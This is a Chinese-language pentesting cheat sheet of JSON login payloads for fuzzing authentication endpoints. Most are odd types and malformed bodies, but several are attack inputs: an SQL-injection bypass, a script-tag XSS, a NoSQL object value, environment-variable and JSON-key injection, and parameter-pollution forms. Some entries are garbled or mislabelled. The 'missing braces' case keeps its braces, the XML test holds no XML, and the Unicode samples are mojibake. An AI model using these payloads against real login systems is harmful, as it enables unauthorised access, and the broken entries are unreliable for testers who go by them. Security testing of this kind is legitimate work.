json身份认证渗透测试技巧 Json Attack
基本凭证
{
"login": "admin",
"password": "admin"
}
空凭证:
{
"login": "",
"password": ""
}
3- 空值:
{
"login": null,
"password": null
}
数字作为凭证:
{
"login": 123,
"password": 456
}
布尔值作为凭证:
{
"login": true,
"password": false
}
数组作为凭证:
{
"login": ["admin"],
"password": ["password"]
}
对象作为凭证:
{
"login": {"username": "admin",
"password": {"password": "password"}}
}
凭证中的特殊字符:
{
"login": "@dm!n",
"password": "p@ssw0rd#"
}
SQL注入:
{
"login": "admin' --",
"password": "password"
}
凭证中的 HTML 标签:
{
"login": "<h1>admin</h1>",
"password": "ololo-HTML-XSS"
}
凭证中的 Unicode:
{
"login": "\u0061\u0064\u006D\u0069\u006E",
"password":"\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064"
}
带有转义字符的凭证:
{
"login": "ad\\nmin",
"password": "pa\\ssword"
}
带有空格的凭据:
{
"login": " ",
"password": " "
}
超长值:
{
"login": "a"*10000,
"password": "b"*10000
}
JSON 格式错误(缺少大括号):
{
"login": "admin",
"password": "admin"
}
格式错误的 JSON(额外的逗号):
{
"login": "admin",
"password": "admin",
}
缺少登录密钥:
{
"password": "admin"
}
缺少密码密钥:
{
"login": "admin"
}
交换的键值:
{
"admin": "login",
"password": "password"
}
额外键值:
{
"login": "admin",
"password": "admin",
"extra": "extra"
}
缺少冒号:
{
"login" "admin",
"password": "password"
}
凭据中的无效布尔值:
{
"login": yes,
"password": no
}
所有键,无值:
{
"": "",
"": ""
}
嵌套对象:
{
"login": {"innerLogin": "admin",
"password": {"innerPassword": "password"}}
}
区分大小写测试:
{
"LOGIN": "admin",
"PASSWORD": "password"
}
登录为数字,密码为字符串:
{
"login": 1234,
"password": "password"
}
登录为字符串,密码为数字:
{
"login": "admin",
"password": 1234
}
重复键:
{
"login": "admin",
"login": "user",
"password": "password"
}
单引号而不是双引号:
{
'login': 'admin',
'password': 'password'
}
仅包含特殊字符的登录名和密码:
{
"login": "@#$%^&*",
"password": "!@#$%^&*"
}
Unicode 转义序列:
{
"login": "\u0041\u0044\u004D\u0049\u004E",
"password":"\u0050\u0041\u0053\u0053\u0057\u004F\u0052\u0044"
}
值作为对象而不是字符串:
{
"login": {"$oid":
"507c7f79bcf86cd7994f6c0e"},
"password": "password"}
}
不存在的变量作为值:
{
"login": undefined,
"password": undefined
}
额外的嵌套对象:
{
"login": "admin",
"password": "password",
"extra": {"key1": "value1",
"key2": "value2"}
}
十六进制值:
{
"login": "0x1234",
"password": "0x5678"
}
有效 JSON 后的额外符号:
{
"login": "admin",
"password": "password"}@@@@@@
}
只有键,没有值:
{
"login":,
"password":
}
控制字符的插入:
{
"login": "ad\u0000min",
"password": "pass\u0000word"
}
长 Unicode 字符串:
{
"login": "\u0061"*10000,
"password": "\u0061"*10000
}
字符串中的换行符:
{
"login": "ad\nmin",
"password": "pa\nssword"
}
字符串中的制表符:
{
"login": "ad\tmin",
"password": "pa\tssword"
}
使用字符串中的 HTML 内容进行测试:
{
"login": "<b>admin",
"password": "password"
}
字符串中的 JSON 注入:
{
"login": "{\"injection\":\"value\"}",
"password": "password"
}
使用字符串中的 XML 内容进行测试:
{
"login": "admin",
"password": "password"
}
数字、字符串和特殊字符的组合:
{
"login": "ad123min!@",
"password": "pa55w0rd!@"
}
环境变量的使用:
{
"login": "${USER}",
"password": "${PASS}"
}
字符串中的反斜杠:
{
"login": "ad\\min",
"password": "pa\\ssword"
}
特殊字符长字符串:
{
"login": "!@#$%^&*()"*1000,
"password": "!@#$%^&*()"*1000
}
JSON 中的空键:
{
"": "admin",
"password": "password"
}
键中的 JSON 注入:
{
"{\"injection\":\"value\"}
": "admin",
"password": "password"
}
字符串中的引号:
{
"login": "\"admin\"",
"password": "\"password\""
}
凭证作为嵌套数组:
{
"login": [["admin"]],
"password": [["password"]]
}
嵌套对象作为凭据:
{
"login": {"username": {"value": "admin",
"password": {"password": {"value":
"password"
}
键为数字:
{
123: "admin",
456: "password"
}
使用大于和小于符号进行测试:
{
"login": "admin>1",
"password": "<password"
}
在凭据中使用括号进行测试:
{
"login": "(admin)",
"password": "(password)"
}
包含斜杠的凭证:
{
"login": "admin/user",
"password": "pass/word"
}
包含多种数据类型的凭证:
{
"login": ["admin",
123,
true,
null,
{"username": ["admin"],
"password": ["password",
123,
false,
null,
{"password": "password"]}}
}
使用转义序列:
{
"login": "admin\\r\\n\\t",
"password": "password\\r\\n\\t"
}
在字符串中使用花括号:
{
"login": "{admin}",
"password": "{password}"
}
在字符串中使用方括号:
{
"login": "[admin]",
"password": "[password]"
}
仅包含特殊字符的字符串:
{
"login": "!@#$$%^&*()",
"password": "!@#$$%^&*()"
}
带有控制字符的字符串:
{
"login": "admin\b\f\n\r\t\v\0",
"password": "password\b\f\n\r\t\v\0"
}
字符串中的空字符:
{
"login": "admin\0",
"password": "password\0"
}
指数形式的数字作为字符串:
{
"login": "1e5",
"password": "1e10"
}
十六进制数字作为字符串:
{
"login": "0xabc",
"password": "0x123"
}
数字字符串中的前导零:
{
"login": "000123",
"password": "000456"
}
多语言输入(这里是英语和韩语):
{
"login": "admin관리ìž",
"password": "password비밀번호"
}
极长的键:
{
"a"*10000: "admin",
"b"*10000: "password"
}
极长的 unicode 字符串:
{
"login": "\u0061"*10000,
"password": "\u0062"*10000
}
带分号的 JSON 字符串:
{
"login": "admin;",
"password": "password;"
}
带反引号的 JSON 字符串:
{
"login": "`admin`",
"password": "`password`"
}
带加号的 JSON 字符串:
{
"login": "admin+",
"password": "password+"
}
带等号的 JSON 字符串:
{
"login": "admin=",
"password": "password="
}
带星号 (*) 符号的字符串:
{
"login": "admin*",
"password": "password*"
}
包含 JavaScript 代码的 JSON:
{
"login": "admin<script>alert('hi')</script>",
"password": "password"
}
负数作为字符串:
{
"login": "-123",
"password": "-456"
}
URL 形式的值:
{
"login": "https://admin.com",
"password": "https://password.com"
}
电子邮件格式的字符串:
{
"login": "admin@admin.com",
"password": "password@password.com"
}
IP 地址格式的字符串:
{
"login": "192.0.2.0",
"password": "203.0.113.0"
}
具有日期格式的字符串:
{
"login": "2023-08-03",
"password": "2023-08-04"
}
具有指数值的 JSON:
{
"login": 1e+30,
"password": 1e+30
}
具有负指数值的 JSON:
{
"login": -1e+30,
"password": -1e+30
}
在字符串中使用零宽度空格 (U+200B):
{
"login": "admin​",
"password": "password​"
}
在字符串中使用零宽度连接符 (U+200D):
{
"login": "adminâ€",
"password": "passwordâ€"
}
具有极大数字的 JSON:
{
"login": 12345678901234567890,
"password": 12345678901234567890
}
带有退格字符的字符串:
{
"login": "admin\b",
"password": "password\b"
}
使用字符串中的表情符号进行测试:
{
"login": "admin😀",
"password": "password😀"
}
带注释的 JSON,尽管 JSON 并未正式支持它们:
{
/*"login": "admin",
"password": "password"*/
}
具有 Base64 编码值的 JSON:
{
"login": "YWRtaW4=",
"password": "cGFzc3dvcmQ="
}
包括空字节字符(可能导致截断):
{
"login": "admin\0",
"password": "password\0"
}
带有科学计数法凭证的 JSON:
{
"login": 1e100,
"password": 1e100
}
具有八进制值的字符串:
{
"login": "\141\144\155\151\156",
"password":"\160\141\163\163\167\157\162\144"
}
其他
{
root:{
"username": "admin",
"password":"admin"
}
}
其他
basic => username=admin
username[]=admin
username[0]=admin
username=admin&username=admin
delete username=admin